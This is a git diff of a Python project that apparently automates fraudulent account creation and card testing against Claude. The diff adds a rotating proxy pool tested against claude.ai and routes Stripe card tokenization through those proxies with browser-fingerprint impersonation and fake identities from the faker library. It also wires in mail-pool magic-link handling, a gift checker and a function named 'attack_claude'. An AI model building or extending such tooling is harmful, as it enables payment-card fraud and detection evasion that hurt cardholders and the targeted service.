+ key = str(user_id) + if key not in data["users"]: + return False + data["users"][key]["commands"] = commands + _save(data) + return True + + +def get_user(user_id: int) -> dict | None: + """获取单个用户信息""" + with _lock: + data = _load() + return data["users"].get(str(user_id)) + + +def list_users() -> dict[int, dict]: + """列出所有运行时用户""" + with _lock: + data = _load() + return {int(k): v for k, v in data["users"].items()} + + +def get_permissions_map() -> dict[int, set[str]]: + """ + 返回运行时权限映射:user_id → set[command_name] + 用于与 config.toml 的静态权限合并 + """ + with _lock: + data = _load() + result = {} + for uid_str, info in data["users"].items(): + result[int(uid_str)] = set(info.get("commands", [])) + return result diff --git a/core/proxy_pool.py b/core/proxy_pool.py new file mode 100644 index 0000000..32ed0e5 --- /dev/null +++ b/core/proxy_pool.py @@ -0,0 +1,327 @@ +""" +代理池管理模块 +功能: +- 从 proxy.txt 加载代理(支持 host:port:user:pass 格式) +- 基于优先级的智能选取(优先使用表现好的代理) +- 自动测试连通性和延迟 +- 测试失败降低优先级,过低则淘汰 +- 线程安全 +""" + +import logging +import random +import threading +import time +from dataclasses import dataclass, field +from pathlib import Path +from typing import Callable, Optional + +import requests as std_requests + +logger = logging.getLogger(__name__) + + +# --- 配置常量 --- +_PROJECT_ROOT = Path(__file__).parent.parent +_PROXY_FILE = _PROJECT_ROOT / "proxy.txt" +_TEST_URL = "https://claude.ai" # 测试目标 +_TEST_TIMEOUT = 10 # 测试超时秒数 +_INITIAL_PRIORITY = 100 # 初始优先级 +_FAIL_PENALTY = 30 # 每次失败扣分 +_SUCCESS_BONUS = 10 # 每次成功加分 +_MAX_PRIORITY = 100 # 最高优先级 +_REMOVE_THRESHOLD = 0 # 优先级低于此值则淘汰 + + +@dataclass +class Proxy: + """代理实例""" + raw: str # 原始行 + url: str # 解析后的 URL (http://user:pass@host:port) + host: str + port: str + priority: int = _INITIAL_PRIORITY + latency: float = 0.0 # 最近一次测试延迟 (ms) + fail_count: int = 0 + success_count: int = 0 + last_test_time: float = 0.0 + last_test_ok: bool = True + + @property + def masked_url(self) -> str: + """脱敏显示""" + if "@" in self.url: + prefix = self.url.split("@")[0] + suffix = self.url.split("@")[1] + # 隐藏密码 + if ":" in prefix.replace("http://", "").replace("https://", ""): + user_part = prefix.split(":")[-2].split("/")[-1] + return f"{self.host}:{self.port} ({user_part[:8]}...)" + return f"{self.host}:{self.port}" + + +def _parse_line(line: str) -> Proxy | None: + """解析一行代理配置""" + line = line.strip() + if not line or line.startswith("#"): + return None + + # 优先检查完整 URL 格式(必须在 colon-split 之前,否则会被错误匹配) + if line.startswith(("http://", "https://", "socks5://")): + try: + from urllib.parse import urlparse + parsed = urlparse(line) + return Proxy(raw=line, url=line, host=parsed.hostname or "?", port=str(parsed.port or "?")) + except Exception: + return None + + parts = line.split(":") + if len(parts) == 4: + host, port, user, passwd = parts + url = f"http://{user}:{passwd}@{host}:{port}" + return Proxy(raw=line, url=url, host=host, port=port) + elif len(parts) == 2: + host, port = parts + url = f"http://{host}:{port}" + return Proxy(raw=line, url=url, host=host, port=port) + return None + + +class ProxyPool: + """线程安全的代理池""" + + def __init__(self): + self._proxies: list[Proxy] = [] + self._lock = threading.Lock() + self.enabled = True # 代理开关 + self._load() + + def _load(self): + """从 proxy.txt 加载代理""" + if not _PROXY_FILE.exists(): + print("[*] 未找到 proxy.txt,不使用代理") + return + + with open(_PROXY_FILE, "r", encoding="utf-8") as f: + for line in f: + proxy = _parse_line(line) + if proxy: + self._proxies.append(proxy) + + if self._proxies: + print(f"[+] 代理池: 已加载 {len(self._proxies)} 个代理") + else: + print("[!] proxy.txt 存在但没有有效代理") + + def reload(self): + """重新加载 proxy.txt""" + with self._lock: + self._proxies.clear() + self._load() + + @property + def count(self) -> int: + return len(self._proxies) + + @property + def active_count(self) -> int: + """有效代理数量""" + return sum(1 for p in self._proxies if p.priority > _REMOVE_THRESHOLD) + + def get(self) -> dict: + """ + 基于优先级加权随机选取一个代理,返回 requests 格式的 proxies dict。 + 代理关闭或无可用代理时返回空 dict(直连)。 + """ + if not self.enabled: + return {} + with self._lock: + alive = [p for p in self._proxies if p.priority > _REMOVE_THRESHOLD] + if not alive: + return {} + + # 加权随机:priority 越高越容易选中 + weights = [p.priority for p in alive] + chosen = random.choices(alive, weights=weights, k=1)[0] + return {"http": chosen.url, "https": chosen.url} + + def report_success(self, proxies: dict): + """调用方报告该代理请求成功""" + if not proxies: + return + url = proxies.get("https", "") + with self._lock: + for p in self._proxies: + if p.url == url: + p.success_count += 1 + p.priority = min(p.priority + _SUCCESS_BONUS, _MAX_PRIORITY) + break + + def report_failure(self, proxies: dict): + """调用方报告该代理请求失败,降低优先级""" + if not proxies: + return + url = proxies.get("https", "") + with self._lock: + for p in self._proxies: + if p.url == url: + p.fail_count += 1 + p.priority -= _FAIL_PENALTY + if p.priority <= _REMOVE_THRESHOLD: + print(f"[!] 代理已淘汰 (优先级归零): {p.masked_url}") + break + + def _cleanup(self): + """移除优先级过低的代理""" + before = len(self._proxies) + self._proxies = [p for p in self._proxies if p.priority > _REMOVE_THRESHOLD] + removed = before - len(self._proxies) + if removed: + print(f"[!] 清理了 {removed} 个失效代理,剩余 {len(self._proxies)} 个") + self._save() + + def _save(self): + """将当前有效代理写回 proxy.txt""" + with open(_PROXY_FILE, "w", encoding="utf-8") as f: + for p in self._proxies: + f.write(p.raw + "\n") + + def test_one(self, proxy: Proxy) -> dict: + """测试单个代理,返回结果 dict""" + logger.info(f"🔍 测试代理: {proxy.masked_url}") + proxies = {"http": proxy.url, "https": proxy.url} + try: + start = time.time() + resp = std_requests.get( + _TEST_URL, + proxies=proxies, + timeout=_TEST_TIMEOUT, + allow_redirects=True, + ) + latency = (time.time() - start) * 1000 # ms + + proxy.latency = latency + proxy.last_test_time = time.time() + + if resp.status_code < 500: + proxy.last_test_ok = True + proxy.success_count += 1 + proxy.priority = min(proxy.priority + _SUCCESS_BONUS, _MAX_PRIORITY) + logger.info(f" ✅ 通过 {proxy.masked_url} | {round(latency)}ms | HTTP {resp.status_code}") + return {"ok": True, "latency_ms": round(latency), "status": resp.status_code} + else: + proxy.last_test_ok = False + proxy.fail_count += 1 + proxy.priority -= _FAIL_PENALTY + logger.warning(f" ❌ 失败 {proxy.masked_url} | HTTP {resp.status_code}") + return {"ok": False, "latency_ms": round(latency), "error": f"HTTP {resp.status_code}"} + + except std_requests.exceptions.ConnectTimeout: + proxy.last_test_ok = False + proxy.fail_count += 1 + proxy.priority -= _FAIL_PENALTY + proxy.last_test_time = time.time() + logger.warning(f" ❌ 超时 {proxy.masked_url}") + return {"ok": False, "latency_ms": -1, "error": "连接超时"} + except std_requests.exceptions.ProxyError as e: + proxy.last_test_ok = False + proxy.fail_count += 1 + proxy.priority -= _FAIL_PENALTY + proxy.last_test_time = time.time() + logger.warning(f" ❌ 代理错误 {proxy.masked_url}: {e}") + return {"ok": False, "latency_ms": -1, "error": f"代理错误: {e}"} + except Exception as e: + proxy.last_test_ok = False + proxy.fail_count += 1 + proxy.priority -= _FAIL_PENALTY + proxy.last_test_time = time.time() + logger.warning(f" ❌ 异常 {proxy.masked_url}: {e}") + return {"ok": False, "latency_ms": -1, "error": str(e)} + + def test_all(self, progress_callback: Optional[Callable] = None, max_workers: int = 5) -> list[dict]: + """ + 并发测试所有代理,返回结果列表。 + 测试后自动清理优先级过低的代理。 + + Args: + progress_callback: 可选回调函数,签名 (current, total, result_dict) -> None + 每测完一个代理后调用,用于更新前端进度。 + max_workers: 并发测试线程数,默认 5。 + """ + from concurrent.futures import ThreadPoolExecutor, as_completed + + with self._lock: + proxies_snapshot = list(self._proxies) + + total = len(proxies_snapshot) + logger.info(f"📡 开始并发测试 {total} 个代理({max_workers} 并发)...") + + results = [None] * total # 保持顺序 + completed = [0] # 用列表以便在闭包中修改 + results_lock = threading.Lock() + + def _test_proxy(index, proxy): + result = self.test_one(proxy) + result["proxy"] = proxy.masked_url + result["priority"] = proxy.priority + return index, result + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + futures = { + executor.submit(_test_proxy, i, proxy): i + for i, proxy in enumerate(proxies_snapshot) + } + for future in as_completed(futures): + idx, result = future.result() + results[idx] = result + + with results_lock: + completed[0] += 1 + current = completed[0] + + if progress_callback: + try: + progress_callback(current, total, result) + except Exception: + pass + + ok_count = sum(1 for r in results if r and r["ok"]) + fail_count = total - ok_count + logger.info( + f"📡 代理测试完成: ✅ 通过 {ok_count} | ❌ 失败 {fail_count} | " + f"剩余可用 {self.active_count}" + ) + + with self._lock: + self._cleanup() + + return results + + def status_list(self) -> list[dict]: + """返回所有代理的状态信息""" + with self._lock: + return [ + { + "proxy": p.masked_url, + "priority": p.priority, + "latency_ms": round(p.latency) if p.latency else "-", + "success": p.success_count, + "fail": p.fail_count, + "last_ok": p.last_test_ok, + } + for p in self._proxies + ] + + +# --- 全局单例 --- +pool = ProxyPool() + + +def get_proxy() -> dict: + """供外部模块调用:随机获取一个代理""" + return pool.get() + + +def get_proxy_count() -> int: + """代理池大小""" + return pool.count diff --git a/stripe_token.py b/core/stripe_token.py similarity index 96% rename from stripe_token.py rename to core/stripe_token.py index 0efd472..3c45847 100644 --- a/stripe_token.py +++ b/core/stripe_token.py @@ -2,8 +2,8 @@ import uuid import random from curl_cffi import requests # 用于模拟指纹 -from config import STRIPE_PK -from identity import random_address, random_name +from config import STRIPE_PK, get_proxy +from core.identity import random_address, random_name class StripeTokenizer: @@ -77,7 +77,7 @@ class StripeTokenizer: try: print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}") - resp = requests.post(url, data=data, headers=headers, impersonate="chrome124") + resp = requests.post(url, data=data, headers=headers, impersonate="chrome124", proxies=get_proxy()) if resp.status_code == 200: pm_id = resp.json().get("id") diff --git a/deploy.sh b/deploy.sh index bb80af6..c9d2c12 100644 --- a/deploy.sh +++ b/deploy.sh @@ -44,11 +44,13 @@ echo "" # ============================================================ info "检查系统依赖..." +# 确保 uv 路径在 PATH 中 +export PATH="$HOME/.local/bin:/root/.local/bin:$PATH" + # 安装 uv(如果不存在) if ! command -v uv &> /dev/null; then info "安装 uv..." curl -LsSf https://astral.sh/uv/install.sh | sh - export PATH="$HOME/.local/bin:$PATH" ok "uv 已安装" else ok "uv 已存在 ($(uv --version))" @@ -59,8 +61,16 @@ fi # ============================================================ info "安装 Python 依赖..." cd "$APP_DIR" -sudo -u "$RUN_USER" uv sync 2>/dev/null || sudo -u "$RUN_USER" uv pip install -r pyproject.toml 2>/dev/null || true -ok "依赖安装完成" +if uv sync; then + ok "依赖安装完成" +else + warn "uv sync 失败,尝试 uv pip install..." + if uv pip install -r pyproject.toml; then + ok "依赖安装完成 (pip fallback)" + else + err "依赖安装失败,请手动检查" + fi +fi # ============================================================ # 3. 检查配置文件 @@ -83,7 +93,16 @@ fi # ============================================================ # 4. 获取 uv 和 python 路径 # ============================================================ -UV_PATH="$(sudo -u "$RUN_USER" bash -c 'which uv')" +UV_PATH="$(which uv 2>/dev/null || echo '')" +if [ -z "$UV_PATH" ]; then + # 尝试常见路径 + for p in "$HOME/.local/bin/uv" "/root/.local/bin/uv" "/usr/local/bin/uv"; do + if [ -x "$p" ]; then UV_PATH="$p"; break; fi + done +fi +if [ -z "$UV_PATH" ]; then + err "找不到 uv,请检查安装是否成功" +fi info "uv 路径: ${UV_PATH}" # ============================================================ @@ -119,7 +138,6 @@ SyslogIdentifier=${APP_NAME} # 安全加固 NoNewPrivileges=true ProtectSystem=strict -ProtectHome=read-only ReadWritePaths=${APP_DIR} PrivateTmp=true diff --git a/main.py b/main.py index 3f967b3..a59f21f 100644 --- a/main.py +++ b/main.py @@ -3,10 +3,10 @@ import random import string from config import MAIL_SYSTEMS -from mail_service import MailPool, extract_magic_link -from stripe_token import StripeTokenizer -from gift_checker import GiftChecker -from claude_auth import attack_claude, finalize_login +from core.mail_service import MailPool, extract_magic_link +from core.stripe_token import StripeTokenizer +from core.gift_checker import GiftChecker +from core.claude_auth import attack_claude, finalize_login # --- 主流程 (The Ritual) --- diff --git a/pyproject.toml b/pyproject.toml index 6375bd2..46caf82 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -6,6 +6,7 @@ readme = "README.md" requires-python = ">=3.12" dependencies = [ "curl-cffi>=0.14.0", + "faker>=36.0.0", "python-telegram-bot>=21.0", "requests>=2.32.5", ] diff --git a/uv.lock b/uv.lock index 1b01890..00559cd 100644 --- a/uv.lock +++ b/uv.lock @@ -25,6 +25,7 @@ version = "0.1.0" source = { virtual = "." } dependencies = [ { name = "curl-cffi" }, + { name = "faker" }, { name = "python-telegram-bot" }, { name = "requests" }, ] @@ -32,6 +33,7 @@ dependencies = [ [package.metadata] requires-dist = [ { name = "curl-cffi", specifier = ">=0.14.0" }, + { name = "faker", specifier = ">=36.0.0" }, { name = "python-telegram-bot", specifier = ">=21.0" }, { name = "requests", specifier = ">=2.32.5" }, ] @@ -182,6 +184,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/5c/7c/d2ba86b0b3e1e2830bd94163d047de122c69a8df03c5c7c36326c456ad82/curl_cffi-0.14.0-cp39-abi3-win_arm64.whl", hash = "sha256:2eed50a969201605c863c4c31269dfc3e0da52916086ac54553cfa353022425c", size = 1425067, upload-time = "2025-12-16T03:25:06.454Z" }, ] +[[package]] +name = "faker" +version = "40.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "tzdata", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fc/7e/dccb7013c9f3d66f2e379383600629fec75e4da2698548bdbf2041ea4b51/faker-40.4.0.tar.gz", hash = "sha256:76f8e74a3df28c3e2ec2caafa956e19e37a132fdc7ea067bc41783affcfee364", size = 1952221, upload-time = "2026-02-06T23:30:15.515Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ac/63/58efa67c10fb27810d34351b7a10f85f109a7f7e2a07dc3773952459c47b/faker-40.4.0-py3-none-any.whl", hash = "sha256:486d43c67ebbb136bc932406418744f9a0bdf2c07f77703ea78b58b77e9aa443", size = 1987060, upload-time = "2026-02-06T23:30:13.44Z" }, +] + [[package]] name = "h11" version = "0.16.0" @@ -274,6 +288,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, ] +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] + [[package]] name = "urllib3" version = "2.6.3"